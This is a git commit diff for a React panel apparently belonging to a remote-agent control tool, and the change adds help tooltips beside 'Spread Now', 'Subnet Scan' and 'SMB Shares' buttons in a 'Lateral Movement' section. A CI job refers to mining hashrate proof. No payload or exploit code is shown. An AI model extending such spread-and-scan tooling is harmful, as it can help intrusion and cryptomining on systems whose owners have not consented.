chore: crucible expanded ops line-ending sync
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -10,6 +10,7 @@ import {
|
||||
selectionCanRunAggressive,
|
||||
} from '../../help/crucibleOps';
|
||||
import { desktopPathHint, pushFileToAgentDesktop } from '../../help/desktopPush';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import CrucibleCollapsibleSection from './CrucibleCollapsibleSection';
|
||||
import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
|
||||
import FileManager from './FileManager';
|
||||
@@ -756,12 +757,18 @@ export default function CrucibleExpandedOps({
|
||||
return (
|
||||
<div className={panelClass}>
|
||||
<CrucibleCollapsibleSection label="Lateral Movement" className="cop-agg" helpField="crucible_section_spread" defaultOpen>
|
||||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('spread_now')} title={aggTitle('spread_now')} onClick={() => aggBulk('spread_now', {}, `Run lateral spread sweep on ${targets.length} node(s)?`)}>
|
||||
Spread Now
|
||||
</button>
|
||||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('subnet_scan')} title={aggTitle('subnet_scan')} onClick={() => aggBulk('subnet_scan', { command: '64' })}>
|
||||
Subnet Scan
|
||||
</button>
|
||||
<span style={{ display: 'inline-flex', alignItems: 'center', gap: '2px' }}>
|
||||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('spread_now')} title={aggTitle('spread_now')} onClick={() => aggBulk('spread_now', {}, `Run lateral spread sweep on ${targets.length} node(s)?`)}>
|
||||
Spread Now
|
||||
</button>
|
||||
<HelpTip field="crucible_btn_spread_now" />
|
||||
</span>
|
||||
<span style={{ display: 'inline-flex', alignItems: 'center', gap: '2px' }}>
|
||||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('subnet_scan')} title={aggTitle('subnet_scan')} onClick={() => aggBulk('subnet_scan', { command: '64' })}>
|
||||
Subnet Scan
|
||||
</button>
|
||||
<HelpTip field="crucible_btn_subnet_scan" />
|
||||
</span>
|
||||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('smb_shares') || winTargets.length === 0} title={aggTitle('smb_shares') || 'Enumerate \\\\host\\share on Windows LAN (JSON)'} onClick={() => aggBulk('smb_shares', {}, undefined, winTargets)}>
|
||||
SMB Shares
|
||||
</button>
|
||||
|
||||
Reference in New Issue
Block a user